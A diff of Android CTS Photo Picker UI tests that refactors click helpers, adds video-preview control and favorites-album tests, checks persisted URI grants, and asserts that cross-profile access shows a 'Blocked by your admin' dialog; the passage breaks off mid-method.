@@ -20,11 +20,13 @@ import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertPick
import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertRedactedReadOnlyAccess;
import static android.photopicker.cts.util.PhotoPickerFilesUtils.createImages;
import static android.photopicker.cts.util.PhotoPickerFilesUtils.deleteMedia;
+import static android.photopicker.cts.util.PhotoPickerUiUtils.SHORT_TIMEOUT;
import static android.photopicker.cts.util.PhotoPickerUiUtils.findAddButton;
import static android.photopicker.cts.util.PhotoPickerUiUtils.findItemList;
import static android.photopicker.cts.util.PhotoPickerUiUtils.findProfileButton;
import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
import android.content.ClipData;
import android.content.Intent;
@@ -33,6 +35,7 @@ import android.provider.MediaStore;
import androidx.test.filters.SdkSuppress;
import androidx.test.uiautomator.UiObject;
+import androidx.test.uiautomator.UiSelector;
import com.android.bedstead.harrier.BedsteadJUnit4;
import com.android.bedstead.harrier.DeviceState;
@@ -41,7 +44,6 @@ import com.android.bedstead.harrier.annotations.RequireRunOnWorkProfile;
import org.junit.After;
import org.junit.ClassRule;
-import org.junit.Ignore;
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -53,7 +55,6 @@ import java.util.List;
* Photo Picker Device only tests for cross profile interaction flows.
*/
@RunWith(BedsteadJUnit4.class)
-@SdkSuppress(minSdkVersion = 31, codeName = "S")
public class PhotoPickerCrossProfileTest extends PhotoPickerBaseTest {
@ClassRule @Rule
public static final DeviceState sDeviceState = new DeviceState();
@@ -63,14 +64,19 @@ public class PhotoPickerCrossProfileTest extends PhotoPickerBaseTest {
@After
public void tearDown() throws Exception {
for (Uri uri : mUriList) {
- deleteMedia(uri, mContext.getUserId());
+ deleteMedia(uri, mContext);
}
+ mUriList.clear();
mActivity.finish();
}
+ /**
+ * ACTION_PICK_IMAGES is allowlisted by default from work to personal. This got allowlisted
+ * in a platform code change and is available Android T onwards.
+ */
@Test
@RequireRunOnWorkProfile
- @Ignore("Enable after b/201323670 is fixed")
+ @SdkSuppress(minSdkVersion = 32, codeName = "T")
public void testWorkApp_canAccessPersonalProfileContents() throws Exception {
final int imageCount = 2;
createImages(imageCount, sDeviceState.primaryUser().id(), mUriList);
@@ -107,15 +113,30 @@ public class PhotoPickerCrossProfileTest extends PhotoPickerBaseTest {
}
}
+ /**
+ * ACTION_PICK_IMAGES is allowlisted by default from work to personal. This got allowlisted
+ * in a platform code change and is available Android T onwards. Before that it needs to be
+ * explicitly allowlisted by the device admin.
+ */
+ @Test
+ @RequireRunOnWorkProfile
+ @SdkSuppress(maxSdkVersion = 31, codeName = "S")
+ public void testWorkApp_cannotAccessPersonalProfile_beforeT() throws Exception {
+ assertBlockedByAdmin(/* isInvokedFromWorkProfile */ true);
+ }
+
+ /**
+ * ACTION_PICK_IMAGES is allowlisted by default from work to personal only (not vice-a-versa)
+ */
@Test
@EnsureHasWorkProfile
- @Ignore("Enable after b/201323670 is fixed")
- public void testPersonalApp_canAccessWorkProfileContents() throws Exception {
- final int imageCount = 2;
- createImages(imageCount, sDeviceState.workProfile().id(), mUriList);
+ public void testPersonalApp_cannotAccessWorkProfile_default() throws Exception {
+ assertBlockedByAdmin(/* isInvokedFromWorkProfile */ false);
+ }
+ private void assertBlockedByAdmin(boolean isInvokedFromWorkProfile) throws Exception {
Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
- intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, imageCount);
+ intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, MediaStore.getPickImagesMaxLimit());
mActivity.startActivityForResult(intent, REQUEST_CODE);
// Click the profile button to change to work profile
@@ -123,26 +144,24 @@ public class PhotoPickerCrossProfileTest extends PhotoPickerBaseTest {
profileButton.click();
mDevice.waitForIdle();
- final List<UiObject> itemList = findItemList(imageCount);
- final int itemCount = itemList.size();
- assertThat(itemCount).isEqualTo(imageCount);
- for (int i = 0; i < itemCount; i++) {
- final UiObject item = itemList.get(i);
- item.click();
- mDevice.waitForIdle();
- }
-
- final UiObject addButton = findAddButton();
- addButton.click();
- mDevice.waitForIdle();
+ assertBlockedByAdminDialog(isInvokedFromWorkProfile);
+ }
- final ClipData clipData = mActivity.getResult().data.getClipData();
- final int count = clipData.getItemCount();
- assertThat(count).isEqualTo(imageCount);
- for (int i = 0; i < count; i++) {
- Uri uri = clipData.getItemAt(i).getUri();
- assertPickerUriFormat(uri, sDeviceState.workProfile().id());
- assertRedactedReadOnlyAccess(uri);
+ private void assertBlockedByAdminDialog(boolean isInvokedFromWorkProfile) {
+ final String dialogTitle = "Blocked by your admin";
+ assertWithMessage("Timed out while waiting for blocked by admin dialog to appear")
+ .that(new UiObject(new UiSelector().textContains(dialogTitle))
+ .waitForExists(SHORT_TIMEOUT))
+ .isTrue();
+
+ final String dialogDescription;
+ if (isInvokedFromWorkProfile) {
+ dialogDescription = "Accessing personal data from a work app is not permitted";
+ } else {
+ dialogDescription = "Accessing work data from a personal app is not permitted";
}
+ assertWithMessage("Blocked by admin description is not as expected")
+ .that(new UiObject(new UiSelector().textContains(dialogDescription)).exists())
+ .isTrue();
}
}
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java
index 9b5904cefde..7ad44e1a86c 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java
@@ -17,13 +17,15 @@
package android.photopicker.cts;
import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertMimeType;
+import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertPersistedGrant;
import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertPickerUriFormat;
import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertRedactedReadOnlyAccess;
+import static android.photopicker.cts.util.PhotoPickerFilesUtils.createDNGVideos;
import static android.photopicker.cts.util.PhotoPickerFilesUtils.createImages;
import static android.photopicker.cts.util.PhotoPickerFilesUtils.createVideos;
import static android.photopicker.cts.util.PhotoPickerFilesUtils.deleteMedia;
-import static android.photopicker.cts.util.PhotoPickerUiUtils.SHORT_TIMEOUT;
import static android.photopicker.cts.util.PhotoPickerUiUtils.REGEX_PACKAGE_NAME;
+import static android.photopicker.cts.util.PhotoPickerUiUtils.SHORT_TIMEOUT;
import static android.photopicker.cts.util.PhotoPickerUiUtils.findAddButton;
import static android.photopicker.cts.util.PhotoPickerUiUtils.findItemList;
import static android.photopicker.cts.util.PhotoPickerUiUtils.findPreviewAddButton;
@@ -38,7 +40,6 @@ import android.content.Intent;
import android.net.Uri;
import android.provider.MediaStore;
-import androidx.test.filters.SdkSuppress;
import androidx.test.runner.AndroidJUnit4;
import androidx.test.uiautomator.UiObject;
import androidx.test.uiautomator.UiSelector;
@@ -54,16 +55,19 @@ import java.util.List;
* Photo Picker Device only tests for common flows.
*/
@RunWith(AndroidJUnit4.class)
-@SdkSuppress(minSdkVersion = 31, codeName = "S")
public class PhotoPickerTest extends PhotoPickerBaseTest {
private List<Uri> mUriList = new ArrayList<>();
@After
public void tearDown() throws Exception {
for (Uri uri : mUriList) {
- deleteMedia(uri, mContext.getUserId());
+ deleteMedia(uri, mContext);
+ }
+ mUriList.clear();
+
+ if (mActivity != null) {
+ mActivity.finish();
}
- mActivity.finish();
}
@Test
@@ -75,8 +79,30 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
mActivity.startActivityForResult(intent, REQUEST_CODE);
final UiObject item = findItemList(itemCount).get(0);
- item.click();
- mDevice.waitForIdle();
+ clickAndWait(item);
+
+ final Uri uri = mActivity.getResult().data.getData();
+ assertPickerUriFormat(uri, mContext.getUserId());
+ assertPersistedGrant(uri, mContext.getContentResolver());
+ assertRedactedReadOnlyAccess(uri);
+ }
+
+ @Test
+ public void testSingleSelectForFavoritesAlbum() throws Exception {
+ final int itemCount = 1;
+ createImages(itemCount, mContext.getUserId(), mUriList, true);
+
+ final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
+ mActivity.startActivityForResult(intent, REQUEST_CODE);
+
+ UiObject albumsTab = mDevice.findObject(new UiSelector().text(
+ "Albums"));
+ clickAndWait(albumsTab);
+ final UiObject album = findItemList(1).get(0);
+ clickAndWait(album);
+
+ final UiObject item = findItemList(itemCount).get(0);
+ clickAndWait(item);
final Uri uri = mActivity.getResult().data.getData();
assertPickerUriFormat(uri, mContext.getUserId());
@@ -84,6 +110,39 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
}
@Test
+ public void testLaunchPreviewMultipleForVideoAlbum() throws Exception {
+ final int videoCount = 2;
+ createVideos(videoCount, mContext.getUserId(), mUriList);
+
+ final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
+ intent.setType("video/*");
+ intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, MediaStore.getPickImagesMaxLimit());
+ mActivity.startActivityForResult(intent, REQUEST_CODE);
+
+ UiObject albumsTab = mDevice.findObject(new UiSelector().text(
+ "Albums"));
+ clickAndWait(albumsTab);
+ final UiObject album = findItemList(1).get(0);
+ clickAndWait(album);
+
+ final List<UiObject> itemList = findItemList(videoCount);
+ final int itemCount = itemList.size();
+
+ assertThat(itemCount).isEqualTo(videoCount);
+
+ for (int i = 0; i < itemCount; i++) {
+ clickAndWait(itemList.get(i));
+ }
+
+ clickAndWait(findViewSelectedButton());
+
+ // Wait for playback to start. This is needed in some devices where playback
+ // buffering -> ready state takes around 10s.
+ final long playbackStartTimeout = 10000;
+ (findPreviewVideoImageView()).waitUntilGone(playbackStartTimeout);
+ }
+
+ @Test
public void testSingleSelectWithPreview() throws Exception {
final int itemCount = 1;
createImages(itemCount, mContext.getUserId(), mUriList);
@@ -96,8 +155,8 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
mDevice.waitForIdle();
final UiObject addButton = findPreviewAddOrSelectButton();
- addButton.click();
- mDevice.waitForIdle();
+ assertThat(addButton.waitForExists(1000)).isTrue();
+ clickAndWait(addButton);
final Uri uri = mActivity.getResult().data.getData();
assertPickerUriFormat(uri, mContext.getUserId());
@@ -107,8 +166,7 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
@Test
public void testMultiSelect_invalidParam() throws Exception {
final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
- // TODO(b/205291616): Replace 101 with MediaStore.getPickImagesMaxLimit() + 1
- intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, 101);
+ intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, MediaStore.getPickImagesMaxLimit() + 1);
mActivity.startActivityForResult(intent, REQUEST_CODE);
final GetResultActivity.Result res = mActivity.getResult();
assertThat(res.resultCode).isEqualTo(Activity.RESULT_CANCELED);
@@ -137,9 +195,7 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
assertThat(itemCount).isEqualTo(imageCount);
// Select maxCount + 1 item
for (int i = 0; i < itemCount; i++) {
- final UiObject item = itemList.get(i);
- item.click();
- mDevice.waitForIdle();
+ clickAndWait(itemList.get(i));
}
UiObject snackbarTextView = mDevice.findObject(new UiSelector().text(
@@ -150,9 +206,7 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
assertWithMessage("Timed out waiting for snackbar to disappear").that(
snackbarTextView.waitUntilGone(SHORT_TIMEOUT)).isTrue();
- final UiObject addButton = findAddButton();
- addButton.click();
- mDevice.waitForIdle();
+ clickAndWait(findAddButton());
final ClipData clipData = mActivity.getResult().data.getClipData();
final int count = clipData.getItemCount();
@@ -171,12 +225,11 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
final int itemCount = itemList.size();
assertThat(itemCount).isEqualTo(imageCount);
// Select 1 item
- final UiObject item = itemList.get(0);
- item.click();
- mDevice.waitForIdle();
+ clickAndWait(itemList.get(0));
final Uri uri = mActivity.getResult().data.getData();
assertPickerUriFormat(uri, mContext.getUserId());
+ assertPersistedGrant(uri, mContext.getContentResolver());
assertRedactedReadOnlyAccess(uri);
}
@@ -185,22 +238,17 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
final int imageCount = 4;
createImages(imageCount, mContext.getUserId(), mUriList);
final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
- // TODO(b/205291616): Replace 100 with MediaStore.getPickImagesMaxLimit()
- intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, 100);
+ intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, MediaStore.getPickImagesMaxLimit());
mActivity.startActivityForResult(intent, REQUEST_CODE);
final List<UiObject> itemList = findItemList(imageCount);
final int itemCount = itemList.size();
assertThat(itemCount).isEqualTo(imageCount);
for (int i = 0; i < itemCount; i++) {
- final UiObject item = itemList.get(i);
- item.click();
- mDevice.waitForIdle();
+ clickAndWait(itemList.get(i));
}
- final UiObject addButton = findAddButton();
- addButton.click();
- mDevice.waitForIdle();
+ clickAndWait(findAddButton());
final ClipData clipData = mActivity.getResult().data.getClipData();
final int count = clipData.getItemCount();
@@ -208,6 +256,7 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
for (int i = 0; i < count; i++) {
final Uri uri = clipData.getItemAt(i).getUri();
assertPickerUriFormat(uri, mContext.getUserId());
+ assertPersistedGrant(uri, mContext.getContentResolver());
assertRedactedReadOnlyAccess(uri);
}
}
@@ -215,10 +264,9 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
@Test
public void testMultiSelect_longPress() throws Exception {
final int videoCount = 3;
- createVideos(videoCount, mContext.getUserId(), mUriList);
+ createDNGVideos(videoCount, mContext.getUserId(), mUriList);
final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
- // TODO(b/205291616): Replace 100 with MediaStore.getPickImagesMaxLimit()
- intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, 100);
+ intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, MediaStore.getPickImagesMaxLimit());
intent.setType("video/*");
mActivity.startActivityForResult(intent, REQUEST_CODE);
@@ -227,27 +275,26 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
assertThat(itemCount).isEqualTo(videoCount);
// Select one item from Photo grid
- itemList.get(0).click();
- mDevice.waitForIdle();
+ clickAndWait(itemList.get(0));
+ // Preview the item
UiObject item = itemList.get(1);
item.longClick();
mDevice.waitForIdle();
+ final UiObject addOrSelectButton = findPreviewAddOrSelectButton();
+ assertWithMessage("Timed out waiting for AddOrSelectButton to appear")
+ .that(addOrSelectButton.waitForExists(1000)).isTrue();
+
// Select the item from Preview
- final UiObject selectButton = findPreviewAddOrSelectButton();
- selectButton.click();
- mDevice.waitForIdle();
+ clickAndWait(addOrSelectButton);
mDevice.pressBack();
// Select one more item from Photo grid
- itemList.get(2).click();
- mDevice.waitForIdle();
+ clickAndWait(itemList.get(2));
- final UiObject addButton = findAddButton();
- addButton.click();
- mDevice.waitForIdle();
+ clickAndWait(findAddButton());
// Verify that all 3 items are returned
final ClipData clipData = mActivity.getResult().data.getClipData();
@@ -256,6 +303,7 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
for (int i = 0; i < count; i++) {
final Uri uri = clipData.getItemAt(i).getUri();
assertPickerUriFormat(uri, mContext.getUserId());
+ assertPersistedGrant(uri, mContext.getContentResolver());
assertRedactedReadOnlyAccess(uri);
}
}
@@ -265,39 +313,28 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
final int imageCount = 4;
createImages(imageCount, mContext.getUserId(), mUriList);
final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
- // TODO(b/205291616): Replace 100 with MediaStore.getPickImagesMaxLimit()
- intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, 100);
+ intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, MediaStore.getPickImagesMaxLimit());
mActivity.startActivityForResult(intent, REQUEST_CODE);
final List<UiObject> itemList = findItemList(imageCount);
final int itemCount = itemList.size();
assertThat(itemCount).isEqualTo(imageCount);
for (int i = 0; i < itemCount; i++) {
- final UiObject item = itemList.get(i);
- item.click();
- mDevice.waitForIdle();
+ clickAndWait(itemList.get(i));
}
- final UiObject viewSelectedButton = findViewSelectedButton();
- viewSelectedButton.click();
- mDevice.waitForIdle();
+ clickAndWait(findViewSelectedButton());
// Swipe left three times
- swipeLeft();
- mDevice.waitForIdle();
- swipeLeft();
- mDevice.waitForIdle();
- swipeLeft();
- mDevice.waitForIdle();
+ swipeLeftAndWait();
+ swipeLeftAndWait();
+ swipeLeftAndWait();
// Deselect one item
- final UiObject selectCheckButton = findPreviewSelectCheckButton();
- selectCheckButton.click();
- mDevice.waitForIdle();
+ clickAndWait(findPreviewSelectedCheckButton());
- final UiObject addButton = findPreviewAddButton();
- addButton.click();
- mDevice.waitForIdle();
+ // Return selected items
+ clickAndWait(findPreviewAddButton());
final ClipData clipData = mActivity.getResult().data.getClipData();
final int count = clipData.getItemCount();
@@ -305,21 +342,155 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
for (int i = 0; i < count; i++) {
final Uri uri = clipData.getItemAt(i).getUri();
assertPickerUriFormat(uri, mContext.getUserId());
+ assertPersistedGrant(uri, mContext.getContentResolver());
assertRedactedReadOnlyAccess(uri);
}
}
@Test
+ public void testMultiSelect_previewVideoPlayPause() throws Exception {
+ launchPreviewMultipleWithVideos(/* videoCount */ 3);
+
+ // Check Play/Pause in first video
+ testVideoPreviewPlayPause();
+
+ // Move to third video
+ swipeLeftAndWait();
+ swipeLeftAndWait();
+ // Check Play/Pause in third video
+ testVideoPreviewPlayPause();
+
+ // We don't test the result of the picker here because the intention of the test is only to
+ // test the video controls
+ }
+
+ @Test
+ public void testMultiSelect_previewVideoMuteButtonInitial() throws Exception {
+ launchPreviewMultipleWithVideos(/* videoCount */ 1);
+
+ final UiObject playPauseButton = findPlayPauseButton();
+ final UiObject muteButton = findMuteButton();
+ final UiObject playerView = findPlayerView();
+
+ // set-up and wait for player controls to be sticky
+ setUpAndAssertStickyPlayerControls(playerView, playPauseButton, muteButton);
+
+ // Test 1: Initial state of the mute Button
+ // Check that initial state of mute button is `selected`, i.e., volume off
+ assertThat(muteButton.isSelected()).isTrue();
+
+ // Test 2: Click Mute Button
+ // Click to unmute the audio
+ clickAndWait(muteButton);
+ // Check that mute button state is `not selected`, i.e., it shows `volume up` icon
+ assertThat(muteButton.isSelected()).isFalse();
+ // Click on the muteButton and check that mute button status is now `selected`
+ clickAndWait(muteButton);
+ assertThat(muteButton.isSelected()).isTrue();
+ // Click on the muteButton and check that mute button status is now `not selected`
+ clickAndWait(muteButton);
+ assertThat(muteButton.isSelected()).isFalse();
+
+ // Test 3: Next preview resumes mute state
+ // Go back and launch preview again
+ mDevice.pressBack();
+ clickAndWait(findViewSelectedButton());
+ // set-up and wait for player controls to be sticky
+ setUpAndAssertStickyPlayerControls(playerView, playPauseButton, muteButton);
+ assertThat(muteButton.isSelected()).isFalse();
+
+ // We don't test the result of the picker here because the intention of the test is only to
+ // test the video controls
+ }
+
+ @Test
+ public void testMultiSelect_previewVideoMuteButtonOnSwipe() throws Exception {
+ launchPreviewMultipleWithVideos(/* videoCount */ 3);
+
+ final UiObject playPauseButton = findPlayPauseButton();
+ final UiObject muteButton = findMuteButton();
+ final UiObject playerView = findPlayerView();
+
+ // set-up and wait for player controls to be sticky
+ setUpAndAssertStickyPlayerControls(playerView, playPauseButton, muteButton);
+
+ // Test 1: Swipe resumes mute state, with state of the button = `selected`
+ assertThat(muteButton.isSelected()).isTrue();
+ // Swipe to next page and check that muteButton is selected
+ swipeLeftAndWait();
+ // set-up and wait for player controls to be sticky
+ setUpAndAssertStickyPlayerControls(playerView, playPauseButton, muteButton);
+ assertThat(muteButton.isSelected()).isTrue();
+
+ // Test 2: Swipe resumes mute state, with state of mute button = `not selected`
+ // Click muteButton again to check the next video resumes the previous video's mute state
+ clickAndWait(muteButton);
+ assertThat(muteButton.isSelected()).isFalse();
+ // check that next video resumed previous video's mute state
+ swipeLeftAndWait();
+ // set-up and wait for player controls to be sticky
+ setUpAndAssertStickyPlayerControls(playerView, playPauseButton, muteButton);
+ assertThat(muteButton.isSelected()).isFalse();
+
+ // We don't test the result of the picker here because the intention of the test is only to
+ // test the video controls
+ }
+
+ @Test
+ public void testMultiSelect_previewVideoControlsVisibility() throws Exception {
+ launchPreviewMultipleWithVideos(/* videoCount */ 3);
+
+ mDevice.waitForIdle();
+
+ final UiObject playPauseButton = findPlayPauseButton();
+ final UiObject muteButton = findMuteButton();
+ // Check that buttons auto hide.
+ assertPlayerControlsAutoHide(playPauseButton, muteButton);
+
+ final UiObject playerView = findPlayerView();
+ // Click on StyledPlayerView to make the video controls visible
+ clickAndWait(playerView);
+ assertPlayerControlsVisible(playPauseButton, muteButton);
+
+ // Wait for 1s and check that controls are still visible
+ assertPlayerControlsDontAutoHide(playPauseButton, muteButton);
+
+ // Click on StyledPlayerView and check that controls are no longer visible. Don't click in
+ // the center, clicking in the center may pause the video.
+ playerView.clickBottomRight();
+ mDevice.waitForIdle();
+ assertPlayerControlsHidden(playPauseButton, muteButton);
+
+ // Swipe left and check that controls are not visible
+ swipeLeftAndWait();
+ assertPlayerControlsHidden(playPauseButton, muteButton);
+
+ // Click on the StyledPlayerView and check that controls appear
+ clickAndWait(playerView);
+ assertPlayerControlsVisible(playPauseButton, muteButton);
+
+ // Swipe left to check that controls are now visible on swipe
+ swipeLeftAndWait();
+ assertPlayerControlsVisible(playPauseButton, muteButton);
+
+ // Check that the player controls are auto hidden in 1s
+ assertPlayerControlsAutoHide(playPauseButton, muteButton);
+
+ // We don't test the result of the picker here because the intention of the test is only to
+ // test the video controls
+ }
+
+ @Test
public void testMimeTypeFilter() throws Exception {
final int videoCount = 2;
- createVideos(videoCount, mContext.getUserId(), mUriList);
+ createDNGVideos(videoCount, mContext.getUserId(), mUriList);
final int imageCount = 1;
createImages(imageCount, mContext.getUserId(), mUriList);
+
final String mimeType = "video/dng";
final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
- // TODO(b/205291616): Replace 100 with MediaStore.getPickImagesMaxLimit()
- intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, 100);
+ intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, MediaStore.getPickImagesMaxLimit());
intent.setType(mimeType);
mActivity.startActivityForResult(intent, REQUEST_CODE);
@@ -328,14 +499,10 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
final int itemCount = itemList.size();
assertThat(itemCount).isAtLeast(videoCount);
for (int i = 0; i < itemCount; i++) {
- final UiObject item = itemList.get(i);
- item.click();
- mDevice.waitForIdle();
+ clickAndWait(itemList.get(i));
}
- final UiObject addButton = findAddButton();
- addButton.click();
- mDevice.waitForIdle();
+ clickAndWait(findAddButton());
final ClipData clipData = mActivity.getResult().data.getClipData();
final int count = clipData.getItemCount();
@@ -343,24 +510,139 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
for (int i = 0; i < count; i++) {
final Uri uri = clipData.getItemAt(i).getUri();
assertPickerUriFormat(uri, mContext.getUserId());
+ assertPersistedGrant(uri, mContext.getContentResolver());
assertRedactedReadOnlyAccess(uri);
assertMimeType(uri, mimeType);
}
}
+ private void testVideoPreviewPlayPause() throws Exception {
+ final UiObject playPauseButton = findPlayPauseButton();
+ final UiObject muteButton = findMuteButton();
+
+ // Wait for buttons to auto hide.
+ assertPlayerControlsAutoHide(playPauseButton, muteButton);
+
+ // Click on StyledPlayerView to make the video controls visible
+ clickAndWait(findPlayerView());
+
+ // PlayPause button is now pause button, click the button to pause the video.
+ clickAndWait(playPauseButton);
+
+ // Wait for 1s and check that play button is not auto hidden
+ assertPlayerControlsDontAutoHide(playPauseButton, muteButton);
+
+ // PlayPause button is now play button, click the button to play the video.
+ clickAndWait(playPauseButton);
+ // Check that pause button auto-hides in 1s.
+ assertPlayerControlsAutoHide(playPauseButton, muteButton);
+ }
+
+ private void launchPreviewMultipleWithVideos(int videoCount) throws Exception {
+ createVideos(videoCount, mContext.getUserId(), mUriList);
+ final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
+ intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, MediaStore.getPickImagesMaxLimit());
+ intent.setType("video/*");
+ mActivity.startActivityForResult(intent, REQUEST_CODE);
+
+ final List<UiObject> itemList = findItemList(videoCount);
+ final int itemCount = itemList.size();
+
+ assertThat(itemCount).isEqualTo(videoCount);
+
+ for (int i = 0; i < itemCount; i++) {
+ clickAndWait(itemList.get(i));
+ }
+
+ clickAndWait(findViewSelectedButton());
+
+ // Wait for playback to start. This is needed in some devices where playback
+ // buffering -> ready state takes around 10s.
+ final long playbackStartTimeout = 10000;
+ (findPreviewVideoImageView()).waitUntilGone(playbackStartTimeout);
+ }
+
+ private void setUpAndAssertStickyPlayerControls(UiObject playerView, UiObject playPauseButton,
+ UiObject muteButton) throws Exception {
+ // Wait for 1s or Play/Pause button to hide
+ playPauseButton.waitUntilGone(1000);
+ // Click on StyledPlayerView to make the video controls visible
+ clickAndWait(playerView);
+ assertPlayerControlsVisible(playPauseButton, muteButton);
+ }
+
+ private void assertPlayerControlsVisible(UiObject playPauseButton, UiObject muteButton) {
+ assertVisible(playPauseButton, "Expected play/pause button to be visible");
+ assertVisible(muteButton, "Expected mute button to be visible");
+ }
+
+ private void assertPlayerControlsHidden(UiObject playPauseButton, UiObject muteButton) {
+ assertHidden(playPauseButton, "Expected play/pause button to be hidden");
+ assertHidden(muteButton, "Expected mute button to be hidden");
+ }
+
+ private void assertPlayerControlsAutoHide(UiObject playPauseButton, UiObject muteButton) {
+ // These buttons should auto hide in 1 second after the video playback start. Since we can't
+ // identify the video playback start time, we wait for 2 seconds instead.
+ assertWithMessage("Expected play/pause button to auto hide in 2s")
+ .that(playPauseButton.waitUntilGone(2000)).isTrue();
+ assertHidden(muteButton, "Expected mute button to hide after 2s");
+ }
+
+ private void assertPlayerControlsDontAutoHide(UiObject playPauseButton, UiObject muteButton) {
+ assertWithMessage("Expected play/pause button to not auto hide in 1s")
+ .that(playPauseButton.waitUntilGone(1100)).isFalse();
+ assertVisible(muteButton, "Expected mute button to be still visible after 1s");
+ }
+
+ private void assertVisible(UiObject button, String message) {
+ assertWithMessage(message).that(button.exists()).isTrue();
+ }
+
+ private void assertHidden(UiObject button, String message) {
+ assertWithMessage(message).that(button.exists()).isFalse();
+ }
+
private static UiObject findViewSelectedButton() {
return new UiObject(new UiSelector().resourceIdMatches(
REGEX_PACKAGE_NAME + ":id/button_view_selected"));
}
- private static UiObject findPreviewSelectCheckButton() {
+ private static UiObject findPreviewSelectedCheckButton() {
return new UiObject(new UiSelector().resourceIdMatches(
- REGEX_PACKAGE_NAME + ":id/preview_select_check_button"));
+ REGEX_PACKAGE_NAME + ":id/preview_selected_check_button"));
}
- private void swipeLeft() {
+
+ private static UiObject findPlayerView() {
+ return new UiObject(new UiSelector().resourceIdMatches(
+ REGEX_PACKAGE_NAME + ":id/preview_player_view"));
+ }
+
+ private static UiObject findMuteButton() {
+ return new UiObject(new UiSelector().resourceIdMatches(
+ REGEX_PACKAGE_NAME + ":id/preview_mute"));
+ }
+
+ private static UiObject findPlayPauseButton() {
+ return new UiObject(new UiSelector().resourceIdMatches(
+ REGEX_PACKAGE_NAME + ":id/exo_play_pause"));
+ }
+
+ private static UiObject findPreviewVideoImageView() {
+ return new UiObject(new UiSelector().resourceIdMatches(
+ REGEX_PACKAGE_NAME + ":id/preview_video_image"));
+ }
+
+ private void clickAndWait(UiObject uiObject) throws Exception {
+ uiObject.click();
+ mDevice.waitForIdle();
+ }
+
+ private void swipeLeftAndWait() {
final int width = mDevice.getDisplayWidth();
final int height = mDevice.getDisplayHeight();
- mDevice.swipe(width / 2, height / 2, width / 4, height / 2, 10);
+ mDevice.swipe(15 * width / 20, height / 2, width / 20, height / 2, 10);
+ mDevice.waitForIdle();
}
}
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerAssertionsUtils.java b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerAssertionsUtils.java
index 020cbe113a9..d0aec7dc305 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerAssertionsUtils.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerAssertionsUtils.java
@@ -16,10 +16,6 @@
package android.photopicker.cts.util;
-import static android.os.SystemProperties.getBoolean;
-import static android.provider.MediaStore.Files.FileColumns.MEDIA_TYPE_IMAGE;
-import static android.provider.MediaStore.Files.FileColumns.MEDIA_TYPE_VIDEO;
-
import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
@@ -27,20 +23,23 @@ import static org.junit.Assert.fail;
import android.content.ContentResolver;
import android.content.Context;
+import android.content.Intent;
+import android.content.UriPermission;
import android.database.Cursor;
import android.media.ExifInterface;
import android.net.Uri;
import android.os.FileUtils;
import android.os.ParcelFileDescriptor;
-import android.provider.CloudMediaProviderContract;
-import android.provider.MediaStore;
+import android.provider.MediaStore.PickerMediaColumns;
import androidx.test.InstrumentationRegistry;
import java.io.ByteArrayOutputStream;
import java.io.FileNotFoundException;
import java.io.InputStream;
+import java.util.ArrayList;
import java.util.Arrays;
+import java.util.List;
/**
* Photo Picker Utility methods for test assertions.
@@ -57,6 +56,20 @@ public class PhotoPickerAssertionsUtils {
assertThat(auth).isEqualTo("picker");
}
+ public static void assertPersistedGrant(Uri uri, ContentResolver resolver) {
